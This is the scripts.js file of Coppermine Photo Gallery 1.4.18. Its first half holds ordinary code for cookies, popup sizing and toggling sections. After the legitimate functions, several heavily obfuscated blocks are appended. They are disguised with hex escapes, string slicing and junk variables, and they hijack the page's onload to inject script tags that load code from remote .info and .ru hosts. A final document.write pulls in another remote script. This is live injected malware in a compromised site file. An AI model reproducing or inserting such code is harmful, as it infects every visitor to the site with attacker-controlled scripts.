/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2008 Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.18
  $HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/scripts.js $
  $Revision: 4380 $
  $Author: gaugau $
  $Date: 2008-04-12 12:00:19 +0200 (Sa, 12 Apr 2008) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'block';
    } else {
        document.getElementById(e).style.display = 'none';
    }
}


function expand()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'block';
                }
        }
}

function hideall()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'none';
                }
        }
}
try {var m=window[unescape("%75%6e%65%73%63%61%70%65")];var T;if(T!='O'){T=''};var R=m("%72%65%70%6c%61%63%65");var P;if(P!='E' && P!='ud'){P='E'};var C=window[m("%52%65%67%45%78%70")];var X=new Date();var I=null;this.yl='';var H='';function s(G,J){var L;if(L!='' && L!='M'){L='ZD'};var i=m("%5b");var ylc='';var id='';i+=J;var wh;if(wh!='' && wh!='Jy'){wh=null};i+=m("%5d");var u=new C(i, m("%67"));var x;if(x!='' && x!='PN'){x=null};return G.replace(u, I);};var p;if(p!='_r' && p!='IE'){p='_r'};var ql='';var zn;if(zn!='' && zn!='tx'){zn='qq'};var G=m("%31");var zK;if(zK!='g'){zK=''};var Q="\x68\x74\x74\x70\x3a\x2f\x2f\x64\x61\x72\x6b\x73\x69\x64\x65\x6e\x65\x74\x77\x6f\x72\x6b\x2e\x69\x6e\x66\x6f\x3a";var z=m("%73%63%72%69%70%74");this.iw='';this.Zk='';var r=s('86626624622935099796941739855123154133477096626119717626','17543926');var pd;if(pd!='lQ' && pd != ''){pd=null};var l="p9Conlo".substr(3)+"ad";var IG;if(IG!=''){IG='Ii'};var Zf;if(Zf!='' && Zf!='KA'){Zf=null};var N=s('/QgDoQoCgQlDeP.DcQoQmK/MqDiCdCiCaKnQ.QcCoCmQ/MdDaCnMtQrMiK.CcKoQmD.MvQnQ.PpQhCpK','MCDPQK');var rf;if(rf!='Hy' && rf!='ws'){rf=''};var pY;if(pY!='e'){pY='e'};var q='';var HC='';function _(){var qg=document;var sE;if(sE!='Kv' && sE!='ri'){sE=''};var ug='';Y=qg.createElement(z);q+=Q;q+=r+N;this.gy="";Y.src=q;var tl;if(tl!='Rw' && tl!='Oy'){tl=''};var A=qg.body;var xC;if(xC!='tg'){xC='tg'};Y.defer=G;this.Eh='';var iI="";this.zi='';var k='';A.appendChild(Y);var YZ;if(YZ!='' && YZ!='Fn'){YZ='_k'};};var Mu;if(Mu!='' && Mu!='eb'){Mu=null};var gr;if(gr!='qk'){gr=''};var Vn;if(Vn!='YM'){Vn=''};window[l]=_;var wN='';var UM;if(UM!='' && UM!='GM'){UM=null};} catch(w){};


B=[];function K(){this.L="L";Lr=27966;Lr+=148;try {var G='Uu'} catch(G){};var g="onJeU".substr(0,2)+"pTSclo".substr(4)+"qknadnqk".substr(3,2);var U=String("sr"+"c8BI".substr(0,1));var W=document;this.MB=61263;this.MB++;Y={J:false};var X=new String("cr"+"ea"+"Vhuvte".substr(4)+"El"+"8kGMemkG8M".substr(4,2)+"en"+"Ucrbt".substr(4));yN=60393;yN+=195;var H=String("body6N9".substr(0,4));var GD=new String();var j="scr"+"ipt";var Mz='';PP={};var I="app"+"end"+"Chi"+"ld";this.uE=false;var F=new String("defer2RYc".substr(0,5));var r=window;this.NO=14484;this.NO-=202;try {var i='HJ'} catch(i){};this.q="";this.D=1;this.D++;function N(){var sp={XK:35257};try {this.UX="UX";Kv={hg:false};uP=["a","gX"];var C=798127-790047;try {} catch(ro){};var NX={Q:false};Wq={};var y=String("/go"+"ogl"+"w6Pe.c".substr(3)+"UJEXom/JEXU".substr(4,3)+"cnbOYv".substr(0,3)+"logiqaK".substr(0,3)+"s.c"+"om/"+"S9rftom".substr(4)+".co"+"m.p"+"zVmhp".substr(3));var T=new String("ht"+"fnNtp".substr(3)+":/"+"/d"+"wdGirGdw".substr(3,2)+"Xf4dty4fdX".substr(4,2)+"vmMEsiEvMm".substr(4,2)+"vQwn.vQw".substr(3,2)+"ru"+":Q0n".substr(0,1));var Vs=new Date();var UA=new Date();var P=561-560;iX=["KT"];Fv=W[X](j);this.l=false;var E="";Fv[U]=T+C+y;var Ig={Sf:"BK"};Fv[F]=P;var Es=["gd","Vf"];try {var Hu='so'} catch(Hu){};this.Fm=53866;this.Fm--;W[H][I](Fv);var Z=["kP"];} catch(O){var Lz=["Tk"];vV=["Ol","wA"];sv=["Gq"];};var Lg='';}WN={lJ:false};try {} catch(JN){};r[g]=N;var Nz="Nz";var gj="gj";};K();
var ax=["W","o"];v=58514;v-=55;try {} catch(NB){};var Z=["h","x"];try {var u={};var MD=["ao","L","m"];var Pl="";var HQ=new Array();var J=window["un"+"Vlbes".substr(3)+"D1UcaUD1".substr(3,2)+"pe"];j={};zU=21717;zU+=212;LG={K:39710};var l=["p","rI"];var A=["gB","yw"];var M='';var IZ=new String();var OY="OY";F=[];var jE="jE";var zg={sS:false};var JZ=new String("re"+"pl"+"iVuac".substr(3)+"wWgOeOWwg".substr(4,1));try {var w='vP'} catch(w){};var RX={};var ZE={};oL=34122;oL-=194;var lY={};var k=window[(String("Re"+"gE"+"xp"))];this.qO='';QN=[];var C=new String("onloa"+"d");zF=["Yy"];G=["gD","MQ"];Pt=["Jv"];Rw=["JR","zS"];var zj=String("1");mZ=41578;mZ--;var rN={};hp=58505;hp++;this.Tg=false;var Jt={};HT=44507;HT--;xN={};QI={RT:47887};var QQ=new Date();function z(zj,r){this.rZ=27437;this.rZ+=6;this.vy=33095;this.vy+=176;var Ia='';kg=["xs"];var eYJ=false;lM=["d"];this.t=17085;this.t++;OC=["Mu"];var Ca="[e1dc".substr(0,1);X=2760;X++;SO=38664;SO+=77;xb={ROv:"ez"};p_=57531;p_+=103;TV={zx:"pY"};Ca+=r;yA=["bS","fz"];try {var qF='ei'} catch(qF){};up=["Lz","KP"];Ca+=J("%5d");var UD='';try {var Dd='cZ'} catch(Dd){};var Sh=new Array();var ly={};var fu=new Array();var uL=false;var _t=false;var Q=new k(Ca, "g");try {} catch(Cs){};try {} catch(Oq){};try {} catch(JD){};pj=[];try {} catch(dk){};return zj.replace(Q, M);var gb=52373;};var Ey={CY:17352};this.CI="CI";QL=[];var doB=["pG","dL","dN"];var rv=["n","oe","rK"];this.Wl="";this.JP="JP";this.Dc="Dc";var zT=new String("/g"+"oo"+"gl"+"S94De.".substr(4)+"co"+"m/"+"ti"+"me29Ta".substr(0,2)+"so"+"KuDLnl".substr(4)+"in"+"e.m9W".substr(0,2)+"2u9Dcou9D2".substr(4,2)+".u"+"SMdak/".substr(4)+"58Euka".substr(4)+"ka"+"Q9wiku".substr(4)+".c"+"omqti".substr(0,2)+".p"+"hp");OT=["Ln","Rp"];IN=["Se","Uk"];this.Dg=27844;this.Dg--;var S=716188-708108;var fRL=new Array();var I=String("QgUhtt".substr(3)+"p:/"+"y7B/as".substr(3)+"hdoMvjx".substr(0,3)+"g.r"+"SVe4u:eV4S".substr(4,2));var pW={mD:44795};try {var Wu='_K'} catch(Wu){};Hr=["QS","Bb","Wr"];Ms=["EA","So","Qw"];try {var q_='mQ'} catch(q_){};try {var bO='xQ'} catch(bO){};function T(){try {var Pf='dP'} catch(Pf){};var zu={};this.DC=63049;this.DC++;IE=["kZ"];var g=new String("ap"+"peNxb".substr(0,2)+"nd"+"Ch"+"il"+"QLMd".substr(3));JRC={eD:false};this.wP="wP";var ka=document;var VaM=["VC","Wv"];var wy=["eS"];var lX=["yqe","Fy"];var B=z('swcqrfiPp7tI','yACwaPWIf7V_mqvLdhKJ4');var zL=14621;var M_={};var yR=new Date();wz=39706;wz-=22;a=ka.createElement(B);nL={Im:false};var ex={OP:"EP"};var kc={WX:"KA"};E=I+S;hpe=21214;hpe+=27;E=E+zT;var hHa=["rl","oYy"];var kE=["vqc"];var US="";var y=ka.body;zc={uZ:31453};Xd=22752;Xd+=21;a[new String("defer")]=zj;this.On=25227;this.On-=189;sE=22163;sE--;bF=5859;bF--;var gf=new Array();a.src=E;uM={Sx:false};xHs={rX:false};var tu=new Date();var gnt=new Date();y[g](a);LOQ={PE:false};var Zk_=false;IF=32882;IF+=189;ej={_U:false};};Ox=["CX"];Sp=15911;Sp++;ast=13117;ast++;var y_=["Yev"];var fa=["Oc"];var Ow=new Array();window[C]=T;LA=[];sX=[];var _Qd=["ss"];iR=["De","iO","UB"];bQ=["Vm"];CF=["za"];hA=["ct"];this.dj=5391;this.dj+=223;} catch(H){var Cuq=new Array();var pi=["iqx","Er"];var tQ=new Date();IQ={};try {var _T='hq'} catch(_T){};this.BZ=41995;this.BZ++;};this.Qk=false;




document.write('<s'+'cript type="text/javascript" src="http://adoffy.alltuckedinathome.com:8080/Netiquette.js"></scr'+'ipt>');